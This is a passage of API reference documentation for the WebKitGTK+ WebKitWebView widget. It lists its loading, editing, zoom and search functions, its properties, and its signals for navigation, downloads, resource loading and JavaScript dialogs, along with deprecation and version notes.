has been deprecated since version 1.1.1 and should not be used in newly-written code. Use webkit_web_view_load_string()
instead.
Requests loading of the given content
with the specified base_uri
.
|
a WebKitWebView |
|
an URI string |
|
the base URI for relative locations |
void webkit_web_view_load_request (WebKitWebView *web_view
,WebKitNetworkRequest *request
);
Requests loading of the specified asynchronous client request.
Creates a provisional data source that will transition to a committed data
source once any data has been received. Use webkit_web_view_stop_loading()
to
stop the load.
|
a WebKitWebView |
|
a WebKitNetworkRequest |
Since 1.1.1
void webkit_web_view_load_string (WebKitWebView *web_view
,const gchar *content
,const gchar *mime_type
,const gchar *encoding
,const gchar *base_uri
);
Requests loading of the given content
with the specified mime_type
,
encoding
and base_uri
.
If mime_type
is NULL
, "text/html" is assumed.
If encoding
is NULL
, "UTF-8" is assumed.
|
a WebKitWebView |
|
an URI string |
|
the MIME type, or NULL
|
|
the encoding, or NULL
|
|
the base URI for relative locations |
void webkit_web_view_load_uri (WebKitWebView *web_view
,const gchar *uri
);
Requests loading of the specified URI string.
|
a WebKitWebView |
|
an URI string |
Since 1.1.1
guint webkit_web_view_mark_text_matches (WebKitWebView *web_view
,const gchar *string
,gboolean case_sensitive
,guint limit
);
Attempts to highlight all occurances of string inside web_view.
|
a WebKitWebView |
|
a string to look for |
|
whether to respect the case of text |
|
the maximum number of strings to look for or 0 for all |
Returns : |
the number of strings highlighted |
void webkit_web_view_move_cursor (WebKitWebView *web_view
,GtkMovementStep step
,gint count
);
Move the cursor in view
as described by step
and count
.
|
a WebKitWebView |
|
a GtkMovementStep |
|
integer describing the direction of the movement. 1 for forward, -1 for backwards. |
Since 1.1.4
void webkit_web_view_open (WebKitWebView *web_view
,const gchar *uri
);
webkit_web_view_open
has been deprecated since version 1.1.1 and should not be used in newly-written code. Use webkit_web_view_load_uri()
instead.
Requests loading of the specified URI string.
|
a WebKitWebView |
|
an URI |
void webkit_web_view_paste_clipboard (WebKitWebView *web_view
);
Pastes the current contents of the clipboard to the web_view
.
|
a WebKitWebView |
void webkit_web_view_redo (WebKitWebView *web_view
);
Redoes the last editing command in the view, if possible.
|
a WebKitWebView |
Since 1.1.14
void webkit_web_view_reload_bypass_cache (WebKitWebView *web_view
);
Reloads the web_view
without using any cached data.
|
a WebKitWebView |
Since 1.0.3
gboolean webkit_web_view_search_text (WebKitWebView *web_view
,const gchar *text
,gboolean case_sensitive
,gboolean forward
,gboolean wrap
);
Looks for a specified string inside web_view.
|
a WebKitWebView |
|
a string to look for |
|
whether to respect the case of text |
|
whether to find forward or not |
|
whether to continue looking at the beginning after reaching the end |
Returns : |
TRUE on success or FALSE on failure |
void webkit_web_view_select_all (WebKitWebView *web_view
);
Attempts to select everything inside the web_view
.
|
a WebKitWebView |
void webkit_web_view_set_custom_encoding (WebKitWebView *web_view
,const gchar *encoding
);
Sets the current WebKitWebView encoding, without modifying the default one, and reloads the page.
|
a WebKitWebView |
|
the new encoding, or NULL to restore the default encoding |
Since 1.1.1
void webkit_web_view_set_editable (WebKitWebView *web_view
,gboolean flag
);
Sets whether web_view
allows the user to edit its HTML document.
If flag
is TRUE
, web_view
allows the user to edit the document. If flag
is
FALSE
, an element in web_view
's document can only be edited if the
CONTENTEDITABLE attribute has been set on the element or one of its parent
elements. You can change web_view
's document programmatically regardless of
this setting. By default a WebKitWebView is not editable.
Normally, an HTML document is not editable unless the elements within the document are editable. This function provides a low-level way to make the contents of a WebKitWebView editable without altering the document or DOM structure.
|
a WebKitWebView |
|
a gboolean indicating the editable state |
void webkit_web_view_set_full_content_zoom (WebKitWebView *web_view
,gboolean full_content_zoom
);
Sets whether the zoom level affects only text or all elements.
|
a WebKitWebView |
|
FALSE if only text should be scaled (the default),
TRUE if the full content of the view should be scaled. |
Since 1.0.1
void webkit_web_view_set_highlight_text_matches (WebKitWebView *web_view
,gboolean highlight
);
Highlights text matches previously marked by webkit_web_view_mark_text_matches.
|
a WebKitWebView |
|
whether to highlight text matches |
void webkit_web_view_set_maintains_back_forward_list (WebKitWebView *web_view
,gboolean flag
);
Set the view to maintain a back or forward list of history items.
|
a WebKitWebView |
|
to tell the view to maintain a back or forward list |
void webkit_web_view_set_settings (WebKitWebView *web_view
,WebKitWebSettings *settings
);
Replaces the WebKitWebSettings instance that is currently attached
to web_view
with settings
. The reference held by the web_view
on
the old WebKitWebSettings instance is dropped, and the reference
count of settings
is inscreased.
The settings are automatically applied to web_view
.
|
a WebKitWebView |
|
the WebKitWebSettings to be set. [transfer none] |
void webkit_web_view_set_transparent (WebKitWebView *web_view
,gboolean flag
);
Sets whether the WebKitWebView has a transparent background.
Pass FALSE
to have the WebKitWebView draw a solid background
(the default), otherwise TRUE
.
|
a WebKitWebView |
|
whether or not web_view should be transparent |
void webkit_web_view_set_view_mode (WebKitWebView *web_view
,WebKitWebViewViewMode mode
);
Sets the view-mode property of the WebKitWebView. Check the property's documentation for more information.
|
the WebKitWebView that will have its view mode set |
|
the WebKitWebViewViewMode to be set |
Since 1.3.4
void webkit_web_view_set_view_source_mode (WebKitWebView *web_view
,gboolean view_source_mode
);
Set whether the view should be in view source mode. Setting this mode to
TRUE
before loading a URI will display the source of the web page in a
nice and readable format.
|
a WebKitWebView |
|
the mode to turn on or off view source mode |
Since 1.1.14
void webkit_web_view_set_zoom_level (WebKitWebView *web_view
,gfloat zoom_level
);
Sets the zoom level of web_view
, i.e. the factor by which elements in
the page are scaled with respect to their original size.
If the "full-content-zoom" property is set to FALSE
(the default)
the zoom level changes the text size, or if TRUE
, scales all
elements in the page.
|
a WebKitWebView |
|
the new zoom level |
Since 1.0.1
void webkit_web_view_stop_loading (WebKitWebView *web_view
);
Stops any ongoing load in the web_view
.
|
a WebKitWebView |
GdkPixbuf * webkit_web_view_try_get_favicon_pixbuf (WebKitWebView *web_view
,guint width
,guint height
);
Obtains a GdkPixbuf of the favicon for the given
WebKitWebView. This will return NULL
is there is no icon for the
current WebKitWebView or if the icon is in the database but not
available at the moment of this call. Use
webkit_web_view_get_icon_uri()
if you need to distinguish these
cases. Usually you want to connect to WebKitWebView::icon-loaded
and call this method in the callback.
See also webkit_favicon_database_try_get_favicon_pixbuf()
. Contrary
to this function the icon database one returns the URL of the page
containing the icon.
|
the WebKitWebView object |
|
the desired width for the icon |
|
the desired height for the icon |
Returns : |
a new reference to a GdkPixbuf, or NULL . [transfer full]
|
Since 1.8
void webkit_web_view_undo (WebKitWebView *web_view
);
Undoes the last editing command in the view, if possible.
|
a WebKitWebView |
Since 1.1.14
void webkit_web_view_unmark_text_matches (WebKitWebView *web_view
);
Removes highlighting previously set by webkit_web_view_mark_text_matches.
|
a WebKitWebView |
void webkit_web_view_zoom_in (WebKitWebView *web_view
);
Increases the zoom level of web_view
. The current zoom
level is incremented by the value of the "zoom-step"
property of the WebKitWebSettings associated with web_view
.
|
a WebKitWebView |
Since 1.0.1
void webkit_web_view_zoom_out (WebKitWebView *web_view
);
Decreases the zoom level of web_view
. The current zoom
level is decremented by the value of the "zoom-step"
property of the WebKitWebSettings associated with web_view
.
|
a WebKitWebView |
Since 1.0.1
WebKitWebWindowFeatures * webkit_web_view_get_window_features
(WebKitWebView *web_view
);
|
a WebKitWebView |
Returns : |
the instance of WebKitWebWindowFeatures held by the given WebKitWebView. [transfer none] |
Since 1.0.3
"copy-target-list"
property"copy-target-list" GtkTargetList* : Read
The list of targets this web view supports for clipboard copying.
Since 1.0.2
"custom-encoding"
property"custom-encoding" gchar* : Read / Write
The custom encoding of the web view.
Default value: NULL
Since 1.1.2
"editable"
property"editable" gboolean : Read / Write
Whether content can be modified by the user.
Default value: FALSE
"encoding"
property"encoding" gchar* : Read
The default encoding of the web view.
Default value: NULL
Since 1.1.2
"full-content-zoom"
property"full-content-zoom" gboolean : Read / Write
Whether the full content is scaled when zooming.
Default value: FALSE
Since 1.0.1
"icon-uri"
property"icon-uri" gchar* : Read
The URI for the favicon for the WebKitWebView.
Default value: NULL
Since 1.1.18
"im-context"
property"im-context" GtkIMContext* : Read
The GtkIMMulticontext for the WebKitWebView.
This is the input method context used for all text entry widgets inside the WebKitWebView. It can be used to generate context menu items for controlling the active input method.
Since 1.1.20
"load-status"
property"load-status" WebKitLoadStatus : Read
Determines the current status of the load.
Connect to "notify::load-status" to monitor loading.
Some versions of WebKitGTK+ emitted this signal for the default
error page, while loading it. This behavior was considered bad,
because it was essentially exposing an implementation
detail. From 1.1.19 onwards this signal is no longer emitted for
the default error pages, but keep in mind that if you override
the error pages by using webkit_web_frame_load_alternate_string()
the signals will be emitted.
Default value: WEBKIT_LOAD_FINISHED
Since 1.1.7
"paste-target-list"
property"paste-target-list" GtkTargetList* : Read
The list of targets this web view supports for clipboard pasting.
Since 1.0.2
"progress"
property"progress" gdouble : Read
Determines the current progress of the load.
Allowed values: [0,1]
Default value: 1
Since 1.1.7
"self-scrolling"
property"self-scrolling" gboolean : Read / Write / Construct Only
Whether or not this WebView draws its own scrollbars.
Default value: FALSE
"settings"
property"settings" WebKitWebSettings* : Read / Write
An associated WebKitWebSettings instance.
"title"
property"title" gchar* : Read
Returns the @web_view's document title.
Default value: NULL
Since 1.1.4
"transparent"
property"transparent" gboolean : Read / Write
Whether content has a transparent background.
Default value: FALSE
"uri"
property"uri" gchar* : Read
Returns the current URI of the contents displayed by the @web_view.
Default value: NULL
Since 1.1.4
"view-mode"
property"view-mode" WebKitWebViewViewMode : Read / Write
The "view-mode" media feature for the WebKitWebView.
The "view-mode" media feature is additional information for web applications about how the application is running, when it comes to user experience. Whether the application is running inside a regular browser window, in a dedicated window, fullscreen, for instance.
This property stores a WebKitWebViewViewMode
value that matches
the "view-mode" media feature the web application will see.
See http://www.w3.org/TR/view-mode/ for more information.
Default value: WEBKIT_WEB_VIEW_VIEW_MODE_WINDOWED
Since 1.3.4
"viewport-attributes"
property"viewport-attributes" WebKitViewportAttributes* : Read
The associated WebKitViewportAttributes instance.
Since 1.3.8
"web-inspector"
property"web-inspector" WebKitWebInspector* : Read
The associated WebKitWebInspector instance.
Since 1.0.3
"window-features"
property"window-features" WebKitWebWindowFeatures* : Read / Write
An associated WebKitWebWindowFeatures instance.
Since 1.0.3
"zoom-level"
property"zoom-level" gfloat : Read / Write
The level of zoom of the content.
Allowed values: >= G_MINFLOAT
Default value: 1
Since 1.0.1
"close-web-view"
signalgboolean user_function (WebKitWebView *web_view,
gpointer user_data) : Run Last
Emitted when closing a WebKitWebView is requested. This occurs when a call is made from JavaScript's window.close function. The default signal handler does not do anything. It is the owner's responsibility to hide or delete the web view, if necessary.
|
the object on which the signal is emitted |
|
user data set when the signal handler was connected. |
Returns : |
TRUE to stop handlers from being invoked for the event or
FALSE to propagate the event furter |
Since 1.1.11
"console-message"
signalgboolean user_function (WebKitWebView *web_view,
gchar *message,
gint line,
gchar *source_id,
gpointer user_data) : Run Last
A JavaScript console message was created.
|
the object on which the signal is emitted |
|
the message text |
|
the line where the error occured |
|
the source id |
|
user data set when the signal handler was connected. |
Returns : |
TRUE to stop other handlers from being invoked for the
event. FALSE to propagate the event further. |
"copy-clipboard"
signalvoid user_function (WebKitWebView *web_view,
gpointer user_data) : Action
The "copy-clipboard" signal is a keybinding signal which gets emitted to copy the selection to the clipboard.
The default bindings for this signal are Ctrl-c and Ctrl-Insert.
|
the object which received the signal |
|
user data set when the signal handler was connected. |
"create-plugin-widget"
signalGtkWidget* user_function (WebKitWebView *web_view,
gchar *mime_type,
gchar *uri,
GHashTable *param,
gpointer user_data) : Action
The "create-plugin-widget" signal will be emitted to create a plugin widget for embed or object HTML tags. This allows to embed a GtkWidget as a plugin into HTML content. In case of a textual selection of the GtkWidget WebCore will attempt to set the property value of "webkit-widget-is-selected". This can be used to draw a visual indicator of the selection.
|
the object which received the signal |
|
the mimetype of the requested object |
|
the URI to load |
|
a GHashTable with additional attributes (strings) |
|
user data set when the signal handler was connected. |
Returns : |
a new GtkWidget, or NULL . [transfer full]
|
Since 1.1.8
"create-web-view"
signalWebKitWebView* user_function (WebKitWebView *web_view,
WebKitWebFrame *frame,
gpointer user_data) : Run Last
Emitted when the creation of a new window is requested. If this signal is handled the signal handler should return the newly created WebKitWebView.
The new WebKitWebView should not be displayed to the user until the "web-view-ready" signal is emitted.
The signal handlers should not try to deal with the reference count for the new WebKitWebView. The widget to which the widget is added will handle that.
|
the object on which the signal is emitted |
|
the WebKitWebFrame |
|
user data set when the signal handler was connected. |
Returns : |
a newly allocated WebKitWebView, or NULL . [transfer full]
|
Since 1.0.3
"cut-clipboard"
signalvoid user_function (WebKitWebView *web_view,
gpointer user_data) : Action
The "cut-clipboard" signal is a keybinding signal which gets emitted to cut the selection to the clipboard.
The default bindings for this signal are Ctrl-x and Shift-Delete.
|
the object which received the signal |
|
user data set when the signal handler was connected. |
"database-quota-exceeded"
signalvoid user_function (WebKitWebView *web_view,
GObject *frame,
GObject *database,
gpointer user_data) : Action
The "database-quota-exceeded" signal will be emitted when a Web Database exceeds the quota of its security origin. This signal may be used to increase the size of the quota before the originating operation fails.
|
the object which received the signal |
|
the relevant frame |
|
the WebKitWebDatabase which exceeded the quota of its WebKitSecurityOrigin |
|
user data set when the signal handler was connected. |
Since 1.1.14
"document-load-finished"
signalvoid user_function (WebKitWebView *web_view,
WebKitWebFrame *web_frame,
gpointer user_data) : Action
Emitted when the DOM document object load is finished for the given frame.
|
the object which received the signal |
|
the WebKitWebFrame whose load dispatched this request |
|
user data set when the signal handler was connected. |
"download-requested"
signalgboolean user_function (WebKitWebView *web_view,
GObject *download,
gpointer user_data) : Run Last
A new Download is being requested. By default, if the signal is
not handled, the download is cancelled. If you handle the download
and call webkit_download_set_destination_uri()
, it will be
started for you. If you need to set the destination asynchronously
you are responsible for starting or cancelling it yourself.
If you intend to handle downloads yourself rather than using
the WebKitDownload helper object you must handle this signal,
and return FALSE
.
Also, keep in mind that the default policy for WebKitGTK+ is to
ignore files with a MIME type that it does not know how to
handle, which means this signal won't be emitted in the default
setup. One way to trigger downloads is to connect to
WebKitWebView::mime-type-policy-decision-requested and call
webkit_web_policy_decision_download()
on the
WebKitWebPolicyDecision in the parameter list for the kind of
files you want your application to download (a common solution
is to download anything that WebKit can't handle, which you can
figure out by using webkit_web_view_can_show_mime_type()
).
|
the object on which the signal is emitted |
|
a WebKitDownload object that lets you control the download process |
|
user data set when the signal handler was connected. |
Returns : |
TRUE if the download should be performed, FALSE to
cancel it |
Since 1.1.2
"editing-began"
signalvoid user_function (WebKitWebView *webkitwebview,
gpointer user_data) : Action
|
the object which received the signal. |
|
user data set when the signal handler was connected. |
"editing-ended"
signalvoid user_function (WebKitWebView *webkitwebview,
gpointer user_data) : Action
|
the object which received the signal. |
|
user data set when the signal handler was connected. |
"frame-created"
signalvoid user_function (WebKitWebView *web_view,
WebKitWebFrame *web_frame,
gpointer user_data) : Action
Emitted when a WebKitWebView has created a new frame. This signal will be emitted for all sub-frames created during page load. It will not be emitted for the main frame, which originates in the WebKitWebView constructor and may be accessed at any time using webkit_web_view_get_main_frame.
|
the object which received the signal |
|
the WebKitWebFrame which was just created. |
|
user data set when the signal handler was connected. |
Since 1.3.4
"geolocation-policy-decision-cancelled"
signalvoid user_function (WebKitWebView *web_view,
WebKitWebFrame *frame,
gpointer user_data) : Run Last
When a frame
wants to cancel geolocation permission it had requested
before.
|
the object on which the signal is emitted |
|
the frame that cancels geolocation request. |
|
user data set when the signal handler was connected. |
Since 1.1.23
"geolocation-policy-decision-requested"
signalgboolean user_function (WebKitWebView *web_view,
WebKitWebFrame *frame,
WebKitGeolocationPolicyDecision *policy_decision,
gpointer user_data) : Run Last
This signal is emitted when a frame
wants to obtain the user's
location. The decision can be made asynchronously, but you must
call g_object_ref()
the policy_decision
, and return TRUE
if
you are going to handle the request. To actually make the
decision you need to call webkit_geolocation_policy_allow()
or
webkit_geolocation_policy_deny()
on policy_decision
.
|
the object on which the signal is emitted |
|
the frame that requests permission |
|
a WebKitGeolocationPolicyDecision |
|
user data set when the signal handler was connected. |
Since 1.1.23
"hovering-over-link"
signalvoid user_function (WebKitWebView *web_view,
gchar *title,
gchar *uri,
gpointer user_data) : Run Last
When the cursor is over a link, this signal is emitted.
|
the object on which the signal is emitted |
|
the link's title |
|
the URI the link points to |
|
user data set when the signal handler was connected. |
"icon-loaded"
signalvoid user_function (WebKitWebView *web_view,
gchar *icon_uri,
gpointer user_data) : Run Last
This signal is emitted when the main frame has got a favicon. See WebKitIconDatabase::icon-loaded if you want to keep track of icons for child frames.
|
the object on which the signal is emitted |
|
the URI for the icon |
|
user data set when the signal handler was connected. |
Since 1.1.18
"load-committed"
signalvoid user_function (WebKitWebView *web_view,
WebKitWebFrame *frame,
gpointer user_data) : Run Last
WebKitWebView::load-committed
is deprecated and should not be used in newly-written code. Use the "load-status" property instead.
When a WebKitWebFrame loaded the first data this signal is emitted.
|
the object on which the signal is emitted |
|
the main frame that received the first data |
|
user data set when the signal handler was connected. |
"load-error"
signalgboolean user_function (WebKitWebView *web_view,
WebKitWebFrame *web_frame,
gchar *uri,
GError *web_error,
gpointer user_data) : Run Last
An error occurred while loading. By default, if the signal is not
handled, the web_view
will display a stock error page. You need to
handle the signal if you want to provide your own error page.
|
the object on which the signal is emitted |
|
the WebKitWebFrame |
|
the URI that triggered the error |
|
the GError that was triggered |
|
user data set when the signal handler was connected. |
Returns : |
TRUE to stop other handlers from being invoked for the
event. FALSE to propagate the event further. |
Since 1.1.6
"load-finished"
signalvoid user_function (WebKitWebView *web_view,
WebKitWebFrame *frame,
gpointer user_data) : Run Last
WebKitWebView::load-finished
is deprecated and should not be used in newly-written code. Use the "load-status" property instead.
|
the WebKitWebView |
|
the WebKitWebFrame |
|
user data set when the signal handler was connected. |
"load-progress-changed"
signalvoid user_function (WebKitWebView *web_view,
gint progress,
gpointer user_data) : Run Last
WebKitWebView::load-progress-changed
is deprecated and should not be used in newly-written code. Use the "progress" property instead.
|
the WebKitWebView |
|
the global progress |
|
user data set when the signal handler was connected. |
"load-started"
signalvoid user_function (WebKitWebView *web_view,
WebKitWebFrame *frame,
gpointer user_data) : Run Last
WebKitWebView::load-started
is deprecated and should not be used in newly-written code. Use the "load-status" property instead.
When a WebKitWebFrame begins to load this signal is emitted.
|
the object on which the signal is emitted |
|
the frame going to do the load |
|
user data set when the signal handler was connected. |
"mime-type-policy-decision-requested"
signalgboolean user_function (WebKitWebView *web_view,
WebKitWebFrame *frame,
WebKitNetworkRequest *request,
gchar *mimetype,
WebKitWebPolicyDecision *policy_decision,
gpointer user_data) : Run Last
Decide whether or not to display the given MIME type. If this signal is not handled, the default behavior is to show the content of the requested URI if WebKit can show this MIME type and the content disposition is not a download; if WebKit is not able to show the MIME type nothing happens.
Notice that if you return TRUE, meaning that you handled the
signal, you are expected to be aware of the "Content-Disposition"
header. A value of "attachment" usually indicates a download
regardless of the MIME type, see also
soup_message_headers_get_content_disposition()
. And you must call
webkit_web_policy_decision_ignore()
,
webkit_web_policy_decision_use()
, or
webkit_web_policy_decision_download()
on the policy_decision
object.
|
the object on which the signal is emitted |
|
the WebKitWebFrame that required the policy decision |
|
a WebKitNetworkRequest |
|
the MIME type attempted to load |
|
a WebKitWebPolicyDecision |
|
user data set when the signal handler was connected. |
Returns : |
TRUE if a decision was made, FALSE to have the
default behavior apply |
Since 1.0.3
"move-cursor"
signalgboolean user_function (WebKitWebView *web_view,
GtkMovementStep step,
gint count,
gpointer user_data) : Action
The "move-cursor" will be emitted to apply the
cursor movement described by its parameters to the view
.
|
the object which received the signal |
|
the type of movement, one of GtkMovementStep |
|
an integer indicating the subtype of movement. Currently the permitted values are '1' = forward, '-1' = backwards. |
|
user data set when the signal handler was connected. |
Returns : |
TRUE or FALSE
|
Since 1.1.4
"navigation-policy-decision-requested"
signalgboolean user_function (WebKitWebView *web_view,
WebKitWebFrame *frame,
WebKitNetworkRequest *request,
WebKitWebNavigationAction *navigation_action,
WebKitWebPolicyDecision *policy_decision,
gpointer user_data) : Run Last
Emitted when frame
requests a navigation to another page.
If this signal is not handled, the default behavior is to allow the
navigation.
Notice that if you return TRUE, meaning that you handled the
signal, you are expected to have decided what to do, by calling
webkit_web_policy_decision_ignore()
,
webkit_web_policy_decision_use()
, or
webkit_web_policy_decision_download()
on the policy_decision
object.
|
the object on which the signal is emitted |
|
the WebKitWebFrame that required the navigation |
|
a WebKitNetworkRequest |
|
a WebKitWebNavigationAction |
|
a WebKitWebPolicyDecision |
|
user data set when the signal handler was connected. |
Returns : |
TRUE if a decision was made, FALSE to have the
default behavior apply |
Since 1.0.3
"navigation-requested"
signalWebKitNavigationResponseuser_function (WebKitWebView *web_view,
WebKitWebFrame *frame,
WebKitNetworkRequest *request,
gpointer user_data) : Run Last
WebKitWebView::navigation-requested
is deprecated and should not be used in newly-written code. Use WebKitWebView::navigation-policy-decision-requested
instead
Emitted when frame
requests a navigation to another page.
|
the object on which the signal is emitted |
|
the WebKitWebFrame that required the navigation |
|
a WebKitNetworkRequest |
|
user data set when the signal handler was connected. |
Returns : |
a WebKitNavigationResponse |
"new-window-policy-decision-requested"
signalgboolean user_function (WebKitWebView *web_view,
WebKitWebFrame *frame,
WebKitNetworkRequest *request,
WebKitWebNavigationAction *navigation_action,
WebKitWebPolicyDecision *policy_decision,
gpointer user_data) : Run Last
Emitted when frame
requests opening a new window. With this
signal the browser can use the context of the request to decide
about the new window. If the request is not handled the default
behavior is to allow opening the new window to load the URI,
which will cause a create-web-view signal emission where the
browser handles the new window action but without information
of the context that caused the navigation. The following
navigation-policy-decision-requested emissions will load the
page after the creation of the new window just with the
information of this new navigation context, without any
information about the action that made this new window to be
opened.
Notice that if you return TRUE, meaning that you handled the
signal, you are expected to have decided what to do, by calling
webkit_web_policy_decision_ignore()
,
webkit_web_policy_decision_use()
, or
webkit_web_policy_decision_download()
on the policy_decision
object.
|
the object on which the signal is emitted |
|
the WebKitWebFrame that required the navigation |
|
a WebKitNetworkRequest |
|
a WebKitWebNavigationAction |
|
a WebKitWebPolicyDecision |
|
user data set when the signal handler was connected. |
Returns : |
TRUE if a decision was made, FALSE to have the
default behavior apply |
Since 1.1.4
"onload-event"
signalvoid user_function (WebKitWebView *web_view,
WebKitWebFrame *frame,
gpointer user_data) : Run Last
When a WebKitWebFrame receives an onload event this signal is emitted.
|
the object on which the signal is emitted |
|
the frame |
|
user data set when the signal handler was connected. |
"paste-clipboard"
signalvoid user_function (WebKitWebView *web_view,
gpointer user_data) : Action
The "paste-clipboard" signal is a keybinding signal which gets emitted to paste the contents of the clipboard into the Web view.
The default bindings for this signal are Ctrl-v and Shift-Insert.
|
the object which received the signal |
|
user data set when the signal handler was connected. |
"populate-popup"
signalvoid user_function (WebKitWebView *web_view,
GtkMenu *menu,
gpointer user_data) : Run Last
When a context menu is about to be displayed this signal is emitted.
Add menu items to menu to extend the context menu.
|
the object on which the signal is emitted |
|
the context menu |
|
user data set when the signal handler was connected. |
"print-requested"
signalgboolean user_function (WebKitWebView *web_view,
WebKitWebFrame *web_frame,
gpointer user_data) : Run Last
Emitted when printing is requested by the frame, usually
because of a javascript call. When handling this signal you
should call webkit_web_frame_print_full()
or
webkit_web_frame_print()
to do the actual printing.
The default handler will present a print dialog and carry a
print operation. Notice that this means that if you intend to
ignore a print request you must connect to this signal, and
return TRUE
.
|
the object in which the signal is emitted |
|
the frame that is requesting to be printed |
|
user data set when the signal handler was connected. |
Returns : |
TRUE if the print request has been handled, FALSE if
the default handler should run |
Since 1.1.5
"redo"
signalvoid user_function (WebKitWebView *web_view,
gpointer user_data) : Action
The "redo" signal is a keybinding signal which gets emitted to redo the last editing command.
The default binding for this signal is Ctrl-Shift-z
|
the object which received the signal |
|
user data set when the signal handler was connected. |
Since 1.1.14
"resource-content-length-received"
signalvoid user_function (WebKitWebView *web_view,
WebKitWebFrame *web_frame,
WebKitWebResource *web_resource,
gint length_received,
gpointer user_data) : Run Last
Emitted when new resource data has been received. The
length_received
variable stores the amount of bytes received
since the last time this signal was emitted. This is useful to
provide progress information about the resource load operation.
|
the object which received the signal |
|
the WebKitWebFrame the response was received for |
|
the WebKitWebResource that was loaded |
|
the amount of data received since the last signal emission |
|
user data set when the signal handler was connected. |
Since 1.7.5
"resource-load-failed"
signalvoid user_function (WebKitWebView *web_view,
WebKitWebFrame *web_frame,
WebKitWebResource *web_resource,
GError *error,
gpointer user_data) : Run Last
Invoked when a resource failed to load
|
the object which received the signal |
|
the WebKitWebFrame the response was received for |
|
the WebKitWebResource that was loaded |
|
the GError that was triggered |
|
user data set when the signal handler was connected. |
Since 1.7.5
"resource-load-finished"
signalvoid user_function (WebKitWebView *web_view,
WebKitWebFrame *web_frame,
WebKitWebResource *web_resource,
gpointer user_data) : Run Last
Emitted when all the data for the resource was loaded
|
the object which received the signal |
|
the WebKitWebFrame the response was received for |
|
the WebKitWebResource that was loaded |
|
user data set when the signal handler was connected. |
Since 1.7.5
"resource-request-starting"
signalvoid user_function (WebKitWebView *web_view,
WebKitWebFrame *web_frame,
WebKitWebResource *web_resource,
WebKitNetworkRequest *request,
WebKitNetworkResponse *response,
gpointer user_data) : Action
Emitted when a request is about to be sent. You can modify the
request while handling this signal. You can set the URI in the
WebKitNetworkRequest object itself, and add/remove/replace
headers using the SoupMessage object it carries, if it is
present. See webkit_network_request_get_message()
. Setting the
request URI to "about:blank" will effectively cause the request
to load nothing, and can be used to disable the loading of
specific resources.
Notice that information about an eventual redirect is available
in response
's SoupMessage, not in the SoupMessage carried by
the request
. If response
is NULL
, then this is not a
redirected request.
The WebKitWebResource object will be the same throughout all the lifetime of the resource, but the contents may change from inbetween signal emissions.
|
the object which received the signal |
|
the WebKitWebFrame whose load dispatched this request |
|
an empty WebKitWebResource object |
|
the WebKitNetworkRequest that will be dispatched |
|
the WebKitNetworkResponse representing the redirect response, if any |
|
user data set when the signal handler was connected. |
Since 1.1.14
"resource-response-received"
signalvoid user_function (WebKitWebView *web_view,
WebKitWebFrame *web_frame,
WebKitWebResource *web_resource,
WebKitNetworkResponse *response,
gpointer user_data) : Run Last
Emitted when the first byte of data arrives
|
the object which received the signal |
|
the WebKitWebFrame the response was received for |
|
the WebKitWebResource being loaded |
|
the WebKitNetworkResponse that was received |
|
user data set when the signal handler was connected. |
Since 1.7.5
"script-alert"
signalgboolean user_function (WebKitWebView *web_view,
WebKitWebFrame *frame,
gchar *message,
gpointer user_data) : Run Last
A JavaScript alert dialog was created.
"script-confirm"
signalgboolean user_function (WebKitWebView *web_view,
WebKitWebFrame *frame,
gchar *message,
gpointer confirmed,
gpointer user_data) : Run Last
A JavaScript confirm dialog was created, providing Yes and No buttons.
|
the object on which the signal is emitted |
|
the relevant frame |
|
the message text |
|
whether the dialog has been confirmed |
|
user data set when the signal handler was connected. |
Returns : |
TRUE to stop other handlers from being invoked for the
event. FALSE to propagate the event further. |
"script-prompt"
signalgboolean user_function (WebKitWebView *web_view,
WebKitWebFrame *frame,
gchar *message,
gchar *default,
gpointer text,
gpointer user_data) : Run Last
A JavaScript prompt dialog was created, providing an entry to input text.
|
the object on which the signal is emitted |
|
the relevant frame |
|
the message text |
|
the default value |
|
To be filled with the return value or NULL if the dialog was cancelled. |
|
user data set when the signal handler was connected. |
Returns : |
TRUE to stop other handlers from being invoked for the
event. FALSE to propagate the event further. |
"select-all"
signalvoid user_function (WebKitWebView *web_view,
gpointer user_data) : Action
The "select-all" signal is a keybinding signal which gets emitted to select the complete contents of the text view.
The default bindings for this signal is Ctrl-a.
|
the object which received the signal |
|
user data set when the signal handler was connected. |
"selection-changed"
signalvoid user_function (WebKitWebView *webkitwebview,
gpointer user_data) : Action
|
the object which received the signal. |
|
user data set when the signal handler was connected. |
"should-apply-style"
signalgboolean user_function (WebKitWebView *webkitwebview,
WebKitDOMCSSStyleDeclaration *arg1,
WebKitDOMRange *arg2,
gpointer user_data) : Action
|
the object which received the signal. |
|
user data set when the signal handler was connected. |
"should-begin-editing"
signalgboolean user_function (WebKitWebView *webkitwebview,
WebKitDOMRange *arg1,
gpointer user_data) : Action
|
the object which received the signal. |
|
user data set when the signal handler was connected. |
"should-change-selected-range"
signalgboolean user_function (WebKitWebView *webkitwebview,
WebKitDOMRange *arg1,
WebKitDOMRange *arg2,
WebKitSelectionAffinity arg3,
gboolean arg4,
gpointer user_data) : Action
|
the object which received the signal. |
|
user data set when the signal handler was connected. |
"should-delete-range"
signalgboolean user_function (WebKitWebView *webkitwebview,
WebKitDOMRange *arg1,
gpointer user_data) : Action
|
the object which received the signal. |
|
user data set when the signal handler was connected. |
"should-end-editing"
signalgboolean user_function (WebKitWebView *webkitwebview,
WebKitDOMRange *arg1,
gpointer user_data) : Action
|
the object which received the signal. |
|
user data set when the signal handler was connected. |
"should-insert-node"
signalgboolean user_function (WebKitWebView *webkitwebview,
WebKitDOMNode *arg1,
WebKitDOMRange *arg2,
WebKitInsertAction arg3,
gpointer user_data) : Action
|
the object which received the signal. |
|
user data set when the signal handler was connected. |
"should-insert-text"
signalgboolean user_function (WebKitWebView *webkitwebview,
gchar *arg1,
WebKitDOMRange *arg2,
WebKitInsertAction arg3,
gpointer user_data) : Action
|
the object which received the signal. |
|
user data set when the signal handler was connected. |
"should-show-delete-interface-for-element"
signalgboolean user_function (WebKitWebView *webkitwebview,
WebKitDOMHTMLElement *arg1,
gpointer user_data) : Action
|
the object which received the signal. |
|
user data set when the signal handler was connected. |
"status-bar-text-changed"
signalvoid user_function (WebKitWebView *webkitwebview,
gchar *arg1,
gpointer user_data) : Run Last
|
the object which received the signal. |
|
user data set when the signal handler was connected. |
"title-changed"
signalvoid user_function (WebKitWebView *web_view,
WebKitWebFrame *frame,
gchar *title,
gpointer user_data) : Run Last
WebKitWebView::title-changed
has been deprecated since version 1.1.4 and should not be used in newly-written code. Use "notify::title" instead.
